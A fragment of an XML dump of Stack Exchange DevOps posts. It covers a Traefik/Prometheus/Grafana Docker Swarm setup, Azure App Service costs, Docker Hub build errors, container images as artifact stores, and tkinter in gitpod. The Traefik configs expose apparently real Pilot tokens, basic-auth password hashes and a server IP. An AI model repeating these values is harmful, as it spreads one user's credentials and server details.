'--pilot.token=71b1d833-0f8f-42e9-9087-3c117c81e327' &#xD;&#xA;      - --log&#xD;&#xA;      - --log.level=DEBUG&#xD;&#xA;      - --api&#xD;&#xA;      - --providers.docker&#xD;&#xA;      - --providers.docker.constraints=Label(`constraint-label`, `reverse-proxy`)&#xD;&#xA;      - --providers.docker.exposedbydefault=false&#xD;&#xA;      - --providers.docker.swarmmode&#xD;&#xA;      - --entrypoints.web.address=:80&#xD;&#xA;      # global redirect to https&#xD;&#xA;      - --entrypoints.web.http.redirections.entryPoint.to=web-secure&#xD;&#xA;      - --entrypoints.web.http.redirections.entrypoint.scheme=https&#xD;&#xA;      - --entrypoints.web-secure.address=:443&#xD;&#xA;    &#xD;&#xA;      - --certificatesresolvers.le.acme.email=${EMAIL}&#xD;&#xA;      - --certificatesresolvers.le.acme.storage=/letsencrypt/acme.json&#xD;&#xA;      - --certificatesresolvers.le.acme.tlschallenge=true&#xD;&#xA;      #- --certificatesresolvers.le.acme.caserver=https://acme-staging-v02.api.letsencrypt.org/directory&#xD;&#xA;    networks:&#xD;&#xA;      # Use the public network created to be shared between Traefik and&#xD;&#xA;      # any other service that needs to be publicly available with HTTPS&#xD;&#xA;      - reverse-proxy&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - EXTRA_HOSTS&#xD;&#xA;    environment:&#xD;&#xA;      - NODE_ID=63glxibxvxp4wvqpyrvnndvjt&#xD;&#xA;      - EMAIL=admin@whiskeyonthe.rocks&#xD;&#xA;      - DOMAIN=traefik.whiskeyonthe.rocks&#xD;&#xA;      - USERNAME=admin&#xD;&#xA;      #- USERPASS=echo $(htpasswd -nb user password) | sed -e s/\\$/\\$\\$/g      &#xD;&#xA;      #- $SRV_VPATH=&quot;/srv/DOMAIN.TLD/&quot;&#xD;&#xA;      - EXTRA_HOSTS=&quot;traefik.whiskeyonthe.rocks:185.193.127.125&quot;&#xD;&#xA;    env_file:&#xD;&#xA;     - ./.env&#xD;&#xA;&#xD;&#xA;  whoami:&#xD;&#xA;    image: &quot;traefik/whoami&quot;&#xD;&#xA;    container_name: &quot;simple-service&quot;&#xD;&#xA;    labels:&#xD;&#xA;      - &quot;traefik.enable=true&quot;&#xD;&#xA;      - &quot;traefik.http.routers.whoami.rule=Host(`whoami.whiskeyonthe.rocks`)&quot;&#xD;&#xA;      - &quot;traefik.http.routers.whoami.middlewares=auth&quot;&#xD;&#xA;      - &quot;traefik.http.routers.whoami.entrypoints=web,web-secure&quot;&#xD;&#xA;      - &quot;traefik.http.routers.whoami.tls.certresolver=le&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - reverse-proxy&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  # Create a volume to store the certificates, there is a constraint to make sure&#xD;&#xA;  # Traefik is always deployed to the same Docker node with the same volume containing&#xD;&#xA;  # the HTTPS certificates&#xD;&#xA;  reverse-proxy-certificates:&#xD;&#xA;networks:&#xD;&#xA;  # Use the previously created public network &quot;reverse-proxy&quot;, shared with other&#xD;&#xA;  # services that need to be publicly available via this Traefik&#xD;&#xA;  reverse-proxy:&#xD;&#xA;    external: true&#xD;&#xA;    driver: overlay&#xD;&#xA;```&#xD;&#xA;.env file&#xD;&#xA;```&#xD;&#xA;ronin@ninjaserver:~$ cat docker-traefik-letsencrypt/.env&#xD;&#xA;NODE_ID=53glxibxvxp5wvqpyrvnadvjt&#xD;&#xA;EMAIL=admin@whiskeyonthe.rocks&#xD;&#xA;DOMAIN=traefik.whiskeyonthe.rocks&#xD;&#xA;USERNAME=admin&#xD;&#xA;PASSWORD=&quot;changethis&quot;&#xD;&#xA;#HASHED_PASSWORD=$$apr1$$j9TccX.k$$lj7IVokmQdoz2TkJMFUnZ.&#xD;&#xA;SRV_VPATH=&quot;/srv/traefik.whiskeyonthe.rocks/&quot;&#xD;&#xA;EXTRA_HOSTS=&quot;traefik.whiskeyonthe.rocks:185.193.127.125&quot;&#xD;&#xA;USERPASS=echo $(htpasswd -nb user password) | sed -e s/\\$/\\$\\$/g&#xD;&#xA;```&#xD;&#xA;traefik_traefik error logs&#xD;&#xA;```&#xD;&#xA;ronin@ninjaserver:~$ docker service logs -f --no-trunc &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is the docker-traefik-prometheus docker-compose.yml I am comparing against and having issues getting to work.&#xD;&#xA;```&#xD;&#xA;ronin@ninjaserver:~$ cat docker-traefik-prometheus/docker-compose.yml&#xD;&#xA;version: '3.7'&#xD;&#xA;services:&#xD;&#xA;  traefik:&#xD;&#xA;    image: traefik:v2.3.2&#xD;&#xA;    labels:&#xD;&#xA;      - constraint.label=reverse-proxy&#xD;&#xA;      - traefik.enable=true&#xD;&#xA;      - traefik.docker.network=reverse-proxy&#xD;&#xA;      - traefik.http.middlewares.admin-auth.basicauth.users=admin:$$apr1$$8rWpRRHx$$xSzTeoNckKYO/umQnKso91&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.rule=Host(`traefik.whiskeyonthe.rocks`)&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.entrypoints=web,web-secure&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.tls=true&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.service=api@internal&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.tls.certresolver=le&#xD;&#xA;      - traefik.http.routers.reverse-proxy-https.middlewares=admin-auth&#xD;&#xA;      - traefik.http.routers.reverse-proxy.tls.domains[0].main=whiskeyonthe.rocks&#xD;&#xA;      - traefik.http.routers.reverse-proxy.tls.domains[0].sans=*.whiskeyonthe.rocks&#xD;&#xA;      - traefik.http.services.reverse-proxy.loadbalancer.server.port=8080&#xD;&#xA;    command:&#xD;&#xA;      - --log.level=DEBUG&#xD;&#xA;      - &quot;--accesslog&quot;&#xD;&#xA;      - &quot;--log&quot;&#xD;&#xA;      - &quot;--api&quot;&#xD;&#xA;      - &quot;--api.insecure=true&quot;&#xD;&#xA;      - &quot;--metrics.prometheus=true&quot;&#xD;&#xA;      - &quot;--metrics.prometheus.buckets=0.1,0.3,1.2,5.0&quot;&#xD;&#xA;      - &quot;--providers.docker=true&quot;&#xD;&#xA;      - &quot;--providers.docker.swarmmode=true&quot;&#xD;&#xA;      - &quot;--providers.docker.watch&quot;&#xD;&#xA;      - &quot;--providers.docker.exposedbydefault=false&quot;&#xD;&#xA;      - &quot;--providers.docker.constraints=Label(`constraint-label`, `reverse-proxy`)&quot;&#xD;&#xA;      - &quot;--pilot.token=93693dd4-e757-437c-84e5-1722051218cc&quot;&#xD;&#xA;      - &quot;--entrypoints.web.address=:80&quot;&#xD;&#xA;      - &quot;--entrypoints.web.http.redirections.entryPoint.to=web-secure&quot;&#xD;&#xA;      - &quot;--entrypoints.web.http.redirections.entrypoint.scheme=https&quot;&#xD;&#xA;      - &quot;--entrypoints.web-secure.address=:443&quot;&#xD;&#xA;      - &quot;--certificatesresolvers.le.acme.email=admin@whiskeyonthe.rocks&quot;&#xD;&#xA;      - &quot;--certificatesresolvers.le.acme.storage=/letsencrypt/acme.json&quot;&#xD;&#xA;      - &quot;--certificatesresolvers.le.acme.tlschallenge=true&quot;&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - EXTRA_HOSTS&#xD;&#xA;    environment:&#xD;&#xA;      - NODE_ID=53glxibxvxp5wvqpyrvnadvjt&#xD;&#xA;      - EMAIL=admin@whiskeyonthe.rocks&#xD;&#xA;      - DOMAIN=traefik.whiskeyonthe.rocks&#xD;&#xA;      - USERNAME=admin&#xD;&#xA;      - EXTRA_HOSTS=&quot;traefik.whiskeyonthe.rocks:185.193.127.125&quot;&#xD;&#xA;    networks:&#xD;&#xA;      - reverse-proxy&#xD;&#xA;      - inbound&#xD;&#xA;    volumes:&#xD;&#xA;      - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;      - &quot;/srv/traefik.whiskeyonthe.rocks/traefik/le:/letsencrypt&quot;&#xD;&#xA;      - traefik_data:/traefik&#xD;&#xA;    ports:&#xD;&#xA;      - target: 80&#xD;&#xA;        published: 80&#xD;&#xA;        mode: host&#xD;&#xA;      - target: 443&#xD;&#xA;        published: 443&#xD;&#xA;        mode: host&#xD;&#xA;      - target: 8080&#xD;&#xA;        published: 8080&#xD;&#xA;        protocol: tcp&#xD;&#xA;        mode: ingress&#xD;&#xA;    deploy:&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpus: '0.50'&#xD;&#xA;          memory: 512M&#xD;&#xA;        reservations:&#xD;&#xA;          cpus: '0.25'&#xD;&#xA;          memory: 256M&#xD;&#xA;      mode: global&#xD;&#xA;      placement:&#xD;&#xA;        constraints:&#xD;&#xA;          - node.role == manager&#xD;&#xA;          - node.labels.reverse-proxy.traefik_data == true&#xD;&#xA;      update_config:&#xD;&#xA;        parallelism: 1&#xD;&#xA;        delay: 10s&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;  prometheus:&#xD;&#xA;    image: prom/prometheus&#xD;&#xA;    volumes:&#xD;&#xA;      - /srv/prometheus.whiskeyonthe.rocks/prometheus:/etc/prometheus/&#xD;&#xA;      - prometheus_data:/prometheus&#xD;&#xA;    command:&#xD;&#xA;      - '--config.file=/etc/prometheus/prometheus.yml'&#xD;&#xA;      - '--storage.tsdb.path=/prometheus'&#xD;&#xA;      - '--web.console.libraries=/usr/share/prometheus/console_libraries'&#xD;&#xA;      - '--web.console.templates=/usr/share/prometheus/consoles'&#xD;&#xA;      &#xD;&#xA;    networks:&#xD;&#xA;      - inbound&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - &quot;prometheus.whiskeyonthe.rocks:185.193.127.125&quot;&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;       - &quot;traefik.enable=true&quot;&#xD;&#xA;       - &quot;traefik.http.routers.prometheus.rule=Host(`prometheus.whiskeyonthe.rocks`)&quot;&#xD;&#xA;       - &quot;traefik.http.routers.prometheus.service=prometheus&quot;&#xD;&#xA;       - &quot;traefik.http.services.prometheus.loadbalancer.server.port=9090&quot;&#xD;&#xA;       - &quot;traefik.docker.network=inbound&quot;&#xD;&#xA;       - &quot;traefil.http.routers.prometheus.middlewares=auth&quot;&#xD;&#xA;       - &quot;traefik.http.routers.prometheus.entrypoints=web,web-secure&quot;&#xD;&#xA;       - &quot;traefik.http.routers.prometheus.tls.certresolver=le&quot;&#xD;&#xA;      placement:&#xD;&#xA;        constraints:&#xD;&#xA;        - node.role==manager&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;  &#xD;&#xA;  grafana:&#xD;&#xA;    image: grafana/grafana&#xD;&#xA;    depends_on:&#xD;&#xA;      - prometheus&#xD;&#xA;    volumes:&#xD;&#xA;      - grafana_data:/var/lib/grafana&#xD;&#xA;      - /srv/grafana.whiskeyonthe.rocks/grafana/provisioning/:/etc/grafana/provisioning/&#xD;&#xA;    env_file:&#xD;&#xA;      - /srv/grafana.whiskeyonthe.rocks/grafana/config.monitoring&#xD;&#xA;    networks:&#xD;&#xA;      - inbound&#xD;&#xA;    extra_hosts: &#xD;&#xA;      - &quot;grafana.whiskeyonth.rocks:185.193.127.125&quot;&#xD;&#xA;    user: &quot;104&quot;&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;        - &quot;traefik.http.routers.grafana.rule=Host(`grafana.whiskeyonthe.rocks`)&quot;&#xD;&#xA;        - &quot;traefik.http.routers.grafana.service=grafana&quot;&#xD;&#xA;        - &quot;traefik.http.services.grafana.loadbalancer.server.port=3000&quot;&#xD;&#xA;        - &quot;traefik.docker.network=inbound&quot;&#xD;&#xA;        - &quot;traefik.http.routers.grafana.middlewares=auth&quot;&#xD;&#xA;        - &quot;traefik.http.routers.grafana.entrypoints=web,web-secure&quot;&#xD;&#xA;        - &quot;traefik.http.routers.grafana.tls.certresolver=le&quot;&#xD;&#xA;      placement:&#xD;&#xA;        constraints:&#xD;&#xA;          - node.role == manager&#xD;&#xA;      restart_policy:&#xD;&#xA;        condition: on-failure&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  reverse-proxy:&#xD;&#xA;    external: true&#xD;&#xA;    driver: overlay&#xD;&#xA;    name: reverse-proxy&#xD;&#xA;  inbound:&#xD;&#xA;    driver: overlay&#xD;&#xA;    name: inbound&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;    prometheus_data: {}&#xD;&#xA;    grafana_data: {}&#xD;&#xA;    traefik_data: {}&#xD;&#xA;```&#xD;&#xA;traefik_traefik error logs&#xD;&#xA;```&#xD;&#xA;ronin@ninjaserver:~/docker-traefik-prometheus$ docker service logs -f --no-trunc traefik_traefik | grep -i error&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39170" PostHistoryTypeId="1" PostId="12764" RevisionGUID="a3c2bcdd-a2e6-4484-bd1d-cf0aa412e897" CreationDate="2020-11-15T01:09:30.567" UserId="24734" Text="Unable to get traefik running with prometheus and grafana on docker swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="39171" PostHistoryTypeId="3" PostId="12764" RevisionGUID="a3c2bcdd-a2e6-4484-bd1d-cf0aa412e897" CreationDate="2020-11-15T01:09:30.567" UserId="24734" Text="&lt;docker&gt;&lt;prometheus&gt;&lt;docker-swarm&gt;&lt;grafana&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39172" PostHistoryTypeId="2" PostId="12765" RevisionGUID="e21ddc85-dd95-4faa-9fdf-a58522de1144" CreationDate="2020-11-15T12:26:48.973" UserId="24740" Text="I have an ASP.NET website hosted on S1 which estimates costs to be £32.64 per month.&#xD;&#xA;&#xD;&#xA;Looking at Application Insights I see nearly 45,000 requests in a 24 hour period - which is an average of 1 request every 2 seconds.&#xD;&#xA;&#xD;&#xA;Over a period of about 36 hours I was charged nearly £24. The configuration is literally an App Service + Application Insights, nothing else, no databases or anything.&#xD;&#xA;&#xD;&#xA;Surely this can't be right? How can I see why this is costing so much money?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39173" PostHistoryTypeId="1" PostId="12765" RevisionGUID="e21ddc85-dd95-4faa-9fdf-a58522de1144" CreationDate="2020-11-15T12:26:48.973" UserId="24740" Text="Why is my website costing approximately £20 per day?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39174" PostHistoryTypeId="3" PostId="12765" RevisionGUID="e21ddc85-dd95-4faa-9fdf-a58522de1144" CreationDate="2020-11-15T12:26:48.973" UserId="24740" Text="&lt;azure&gt;&lt;cost-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39175" PostHistoryTypeId="2" PostId="12766" RevisionGUID="2e146046-1b01-4cf4-b313-fdffe4a95e91" CreationDate="2020-11-15T13:10:02.153" UserId="24742" Text="If you turn on logging to file system first. Then open the log streaming blade. You'll be able to see the requests hitting the app service. &#xD;&#xA;Will help narrow down what is causing so many. &#xD;&#xA;Potentially the alwaysOn feature of web app, will send 1 request a minute to keep app alive. &#xD;&#xA;Do you have anything else probing the app for health. &#xD;&#xA;An application gateway, front door. Traffic manager etc. &#xD;&#xA;Or in app insights do you have some health probe configured. Or some perf testing. &#xD;&#xA;Either way, the log streaming will show you where all these requests are originating from. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39176" PostHistoryTypeId="2" PostId="12767" RevisionGUID="bcb52dfa-f27a-4594-a8a2-762eeca0439c" CreationDate="2020-11-15T13:11:24.447" UserId="24741" Text="I have a fairly simple [Dockerfile](https://github.com/ad-si/TaskLite/blob/dbb50b86b78d71725d58e6d6f39156215351989b/Dockerfile), which works locally, but on Docker Hub I get following error:&#xD;&#xA;&#xD;&#xA;```txt&#xD;&#xA;Starting build of index.docker.io/adius/tasklite:next...&#xD;&#xA;Step 1/16 : from haskell:8.8.4 as builder&#xD;&#xA;---&gt; 3ae1aa658125&#xD;&#xA;Step 2/16 : workdir tasklite&#xD;&#xA;---&gt; Running in 73fa9ffd738e&#xD;&#xA;Removing intermediate container 73fa9ffd738e&#xD;&#xA;---&gt; cdacdf2fede2&#xD;&#xA;Step 3/16 : copy docker-stack.yaml stack.yaml&#xD;&#xA;COPY failed: &#xD;&#xA;stat /var/lib/docker/tmp/docker-builder266377042/docker-stack.yaml: &#xD;&#xA;no such file or directory&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The build configuration seems to be fine as well:&#xD;&#xA;&#xD;&#xA;[![Screenshot build configuration][1]][1]&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/mqaJh.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39177" PostHistoryTypeId="1" PostId="12767" RevisionGUID="bcb52dfa-f27a-4594-a8a2-762eeca0439c" CreationDate="2020-11-15T13:11:24.447" UserId="24741" Text="How to correctly copy a file during Docker build on Docker Hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39178" PostHistoryTypeId="3" PostId="12767" RevisionGUID="bcb52dfa-f27a-4594-a8a2-762eeca0439c" CreationDate="2020-11-15T13:11:24.447" UserId="24741" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39179" PostHistoryTypeId="36" PostId="12768" RevisionGUID="c161afa5-bd2a-458a-9fc0-23062bbf8c80" CreationDate="2020-11-15T15:13:42.900" UserId="-1" Comment="from https://stackoverflow.com/questions/64839076/using-docker-images-as-vehicles-for-binary-deployment-artifacts" />
  <row Id="39180" PostHistoryTypeId="2" PostId="12768" RevisionGUID="5469cd04-4b3c-4a85-bffd-73a995ff72df" CreationDate="2020-11-14T22:01:36.327" UserId="22762" Text="Let's say we're in an environment where we have a modern CI/CD pipeline for a number of containerized apps. We also have a number legacy apps which haven't been containerized yet.&#xD;&#xA;&#xD;&#xA;I'm wondering how sound/unusual/crazy the following idea is: even for apps which don't run in containers in production, **use container images and a container registry as a vehicle to deploy binary build artifacts**.&#xD;&#xA;&#xD;&#xA;Here's a very simple example to illustrate the idea: let's say we have a .NET app which consists of two projects. One that rarely changes and contains a large number of static assets (`ChangesRarely`), and another small, lightweight one which changes often (`ChangesOften`).&#xD;&#xA;&#xD;&#xA;Now, let's say we're using the following `Dockerfile` to build the app in a [multi-stage build](https://docs.docker.com/develop/develop-images/multistage-build):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM mcr.microsoft.com/dotnet/sdk:3.1 AS builder&#xD;&#xA;ADD src src&#xD;&#xA;RUN dotnet publish -o buildOutput/ChangesRarely src/ChangesRarely&#xD;&#xA;RUN dotnet publish -o buildOutput/ChangesOften src/ChangesOften&#xD;&#xA;&#xD;&#xA;FROM alpine&#xD;&#xA;COPY --from=builder buildOutput/ChangesRarely /buildOutput/ChangesRarely&#xD;&#xA;COPY --from=builder buildOutput/ChangesOften /buildOutput/ChangesOften&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that because of the two separate `COPY` instructions, the resulting image will contain two separate layers. This will be important in just a second.&#xD;&#xA;&#xD;&#xA;When our CI/CD build system (e.g. GitHub Actions) needs to create a new build, it'll basically run `docker build -t myapp .` and push the resulting image to a container registry. So far, pretty standard.&#xD;&#xA;&#xD;&#xA;Now let's say we want to deploy a new version to production. Again, &quot;production&quot; isn't some sort of container orchestrator (yet) - assume it's a set of plain old servers in a data center. So here's where the approach might become a tad unusual:&#xD;&#xA;&#xD;&#xA;Each production server runs a Docker engine- but only to pull the container image and subsequently copy the build artifacts out of it, deploying them to their final destination (some local folder):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;id=$(docker create myapp)                 # pulls image from container registry, if necessary&#xD;&#xA;docker cp $id:/buildOutput - | tar zxf -  # copy build artifacts&#xD;&#xA;docker rm -v $id                          # destroy temp container&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've [confirmed](https://github.com/MaxHorstmann/DockerExport) that this really works. But, why would you do that? Three main reasons:&#xD;&#xA;&#xD;&#xA;* The container registry acts as a unified store for all build artifacts (for containerized and non-containerized apps). No need to manage two different artifact stores.&#xD;&#xA;&#xD;&#xA;* Image layers which are identical across builds (such as the large `ChangesRarely` layer in the example above) only need to be stored once in the container registry, preserving storage space&#xD;&#xA;&#xD;&#xA;* They also will be cached by the production server's Docker engine, preserving network bandwidth and reducing deployment times.&#xD;&#xA;&#xD;&#xA;How usual or unusual is this approach? &#xD;&#xA;&#xD;&#xA;Any problems with the approach that I might be missing?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39181" PostHistoryTypeId="1" PostId="12768" RevisionGUID="5469cd04-4b3c-4a85-bffd-73a995ff72df" CreationDate="2020-11-14T22:01:36.327" UserId="22762" Text="Using Docker images as vehicles for binary deployment artifacts" ContentLicense="CC BY-SA 4.0" />
  <row Id="39182" PostHistoryTypeId="3" PostId="12768" RevisionGUID="5469cd04-4b3c-4a85-bffd-73a995ff72df" CreationDate="2020-11-14T22:01:36.327" UserId="22762" Text="&lt;docker&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39183" PostHistoryTypeId="2" PostId="12769" RevisionGUID="79883ef0-0d0f-4772-9f90-ffb9facdf056" CreationDate="2020-11-15T16:00:16.863" UserId="24744" Text="So my current AWS VPC consists of an EC2 jump server which is on the cloud side of a site-to-site VPN tunnel and the other side is connected to a customer server. So I am trying to find out how I can automate the transfer of a file within EC3 via the jump server &amp; VPN tunnel to the customer server. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39184" PostHistoryTypeId="1" PostId="12769" RevisionGUID="79883ef0-0d0f-4772-9f90-ffb9facdf056" CreationDate="2020-11-15T16:00:16.863" UserId="24744" Text="How would I automate the deployment of an S3 Bucket file to a remote external server which exists on the other side of an AWS VPN Tunnel?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39185" PostHistoryTypeId="3" PostId="12769" RevisionGUID="79883ef0-0d0f-4772-9f90-ffb9facdf056" CreationDate="2020-11-15T16:00:16.863" UserId="24744" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-s3&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39186" PostHistoryTypeId="2" PostId="12770" RevisionGUID="b8f644c3-20f5-4387-80aa-55b541968c58" CreationDate="2020-11-15T18:48:37.020" UserId="24745" Text="I can't import pyton module `tkinter` in my gitpod workspace.&#xD;&#xA;&#xD;&#xA;My .gitpod.Dockerfile contains:&#xD;&#xA;```&#xD;&#xA;FROM gitpod/workspace-full-vnc&#xD;&#xA;USER root&#xD;&#xA;RUN apt update &amp;&amp; apt install -y python-tk python3-tk tk-dev&#xD;&#xA;```&#xD;&#xA;but when I run my project I get &#xD;&#xA;```&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;basic-screen-changer.py&quot;, line 1, in &lt;module&gt;&#xD;&#xA;    import tkinter as tk&#xD;&#xA;  File &quot;/home/gitpod/.pyenv/versions/3.8.6/lib/python3.8/tkinter/__init__.py&quot;, line 36, in &lt;module&gt;&#xD;&#xA;    import _tkinter # If this fails your Python may not be configured for Tk&#xD;&#xA;ModuleNotFoundError: No module named '_tkinter'&#xD;&#xA;```&#xD;&#xA;`python --version` shows me `Python 3.8.6`.  &#xD;&#xA;Installed packaged are: &#xD;&#xA;```&#xD;&#xA;itpod /workspace/pydiag $ dpkg -l |grep ^ii |tr -s ' ' |cut -d ' ' -f2,3 |egrep '^python.*tk|^tk'&#xD;&#xA;python-tk 2.7.18-1&#xD;&#xA;python3-tk:amd64 3.8.5-1~20.04.1&#xD;&#xA;tk 8.6.9+1&#xD;&#xA;tk-dev:amd64 8.6.9+1&#xD;&#xA;tk8.6 8.6.10-1&#xD;&#xA;tk8.6-blt2.5 2.5.3+dfsg-4&#xD;&#xA;tk8.6-dev:amd64 8.6.10-1&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39187" PostHistoryTypeId="1" PostId="12770" RevisionGUID="b8f644c3-20f5-4387-80aa-55b541968c58" CreationDate="2020-11-15T18:48:37.020" UserId="24745" Text="how can I import python module tkinter in gitpod" ContentLicense="CC BY-SA 4.0" />
  <row Id="39188" PostHistoryTypeId="3" PostId="12770" RevisionGUID="b8f644c3-20f5-4387-80aa-55b541968c58" CreationDate="2020-11-15T18:48:37.020" UserId="24745" Text="&lt;cicd&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39189" PostHistoryTypeId="2" PostId="12771" RevisionGUID="b9325492-6aaa-406d-ab82-7f49d56e0e04" CreationDate="2020-11-15T21:34:11.653" UserId="13052" Text="I am using the latest version of Docker Desktop on Windows (**Docker Engine version v19.03.13**).&#xD;&#xA;&#xD;&#xA;After the last update, the output of `docker build .` has changed! *It is now harder to debug what is going on*.&#xD;&#xA;&#xD;&#xA;Here is my `Dockerfile`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# set base image as the dotnet 3.1 SDK.&#xD;&#xA;FROM mcr.microsoft.com/dotnet/core/sdk:3.1 AS build-env&#xD;&#xA;&#xD;&#xA;# set the working directory for any RUN, CMD, ENTRYPOINT, COPY and ADD&#xD;&#xA;# instructions that follows the WORKDIR instruction.&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;# debug purposes - see where we are&#xD;&#xA;RUN pwd&#xD;&#xA;&#xD;&#xA;# our current working directory within the container is /app&#xD;&#xA;# we now copy all the files (from local machine) to /app (in the container).&#xD;&#xA;COPY . ./&#xD;&#xA;&#xD;&#xA;# debug purposes - list files in current folder&#xD;&#xA;RUN ls -la&#xD;&#xA;&#xD;&#xA;# run unit tests within the solution.&#xD;&#xA;RUN dotnet test Phoneden.sln&#xD;&#xA;&#xD;&#xA;# again, on the container (we are in /app folder)&#xD;&#xA;# we now publish the project into a folder called 'out'.&#xD;&#xA;RUN dotnet publish Phoneden.Web/Phoneden.Web.csproj -c Release -o out&#xD;&#xA;&#xD;&#xA;# debug purposes - list files in current folder&#xD;&#xA;RUN ls -la&#xD;&#xA;&#xD;&#xA;# set base image as the dotnet 3.1 runtime.&#xD;&#xA;FROM mcr.microsoft.com/dotnet/core/aspnet:3.1 AS runtime&#xD;&#xA;&#xD;&#xA;# telling the application what port to run on.&#xD;&#xA;ENV ASPNETCORE_URLS=http://*:5005&#xD;&#xA;&#xD;&#xA;# set the working directory for any RUN, CMD, ENTRYPOINT, COPY and ADD&#xD;&#xA;# instructions that follows the WORKDIR instruction.&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;# copy the contents of /app/out in the `build-env` and paste it in the&#xD;&#xA;# `/app` directory of the new runtime container.&#xD;&#xA;COPY --from=build-env /app/Phoneden.Web/out .&#xD;&#xA;&#xD;&#xA;# set the entry point into the application.&#xD;&#xA;ENTRYPOINT [&quot;dotnet&quot;, &quot;Phoneden.Web.dll&quot;, &quot;-seed&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run `docker build --no-cache .` I get the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jwan@home-desktop MSYS /c/code/phoneden (upgrade/net-3.1)&#xD;&#xA;$ docker build --no-cache .&#xD;&#xA;[+] Building 38.9s (16/16) FINISHED&#xD;&#xA; =&gt; [internal] load .dockerignore                                                                                                                                                                                                                                                  0.1s&#xD;&#xA; =&gt; =&gt; transferring context: 35B                                                                                                                                                                                                                                                   0.0s&#xD;&#xA; =&gt; [internal] load build definition from Dockerfile                                                                                                                                                                                                                               0.0s&#xD;&#xA; =&gt; =&gt; transferring dockerfile: 32B                                                                                                                                                                                                                                                0.0s&#xD;&#xA; =&gt; [internal] load metadata for mcr.microsoft.com/dotnet/core/aspnet:3.1                                                                                                                                                                                                          0.0s&#xD;&#xA; =&gt; [internal] load metadata for mcr.microsoft.com/dotnet/core/sdk:3.1                                                                                                                                                                                                             0.0s&#xD;&#xA; =&gt; [internal] load build context                                                                                                                                                                                                                                                  0.3s&#xD;&#xA; =&gt; =&gt; transferring context: 96.50kB                                                                                                                                                                                                                                               0.2s&#xD;&#xA; =&gt; [build-env 1/8] FROM mcr.microsoft.com/dotnet/core/sdk:3.1@sha256:1d96e460ac4af00ffc41c5d4a27b503f2589098c84b6ca10d09e0f7ef6e31689                                                                                                                                             0.0s&#xD;&#xA; =&gt; [runtime 1/3] FROM mcr.microsoft.com/dotnet/core/aspnet:3.1@sha256:41ece4e6218d5f2c66191c4bd8b8dda060ea3b1512353fe1185e239121458ab5                                                                                                                                            0.0s&#xD;&#xA; =&gt; CACHED [build-env 2/8] WORKDIR /app                                                                                                                                                                                                                                            0.0s&#xD;&#xA; =&gt; CACHED [runtime 2/3] WORKDIR /app                                                                                                                                                                                                                                              0.0s&#xD;&#xA; =&gt; [build-env 3/8] RUN pwd                                                                                                                                                                                                                                                        0.3s&#xD;&#xA; =&gt; [build-env 4/8] COPY . ./                                                                                                                                                                                                                                                      0.3s&#xD;&#xA; =&gt; [build-env 5/8] RUN ls -la                                                                                                                                                                                                                                                     0.3s&#xD;&#xA; =&gt; [build-env 6/8] RUN dotnet test Phoneden.sln                                                                                                                                                                                                                                  17.7s&#xD;&#xA; =&gt; [build-env 7/8] RUN dotnet publish Phoneden.Web/Phoneden.Web.csproj -c Release -o out                                                                                                                                                                                         19.5s&#xD;&#xA; =&gt; [build-env 8/8] RUN ls -la                                                                                                                                                                                                                                                     0.6s&#xD;&#xA; =&gt; ERROR [runtime 3/3] COPY --from=build-env /app/Phoneden.Web/out .                                                                                    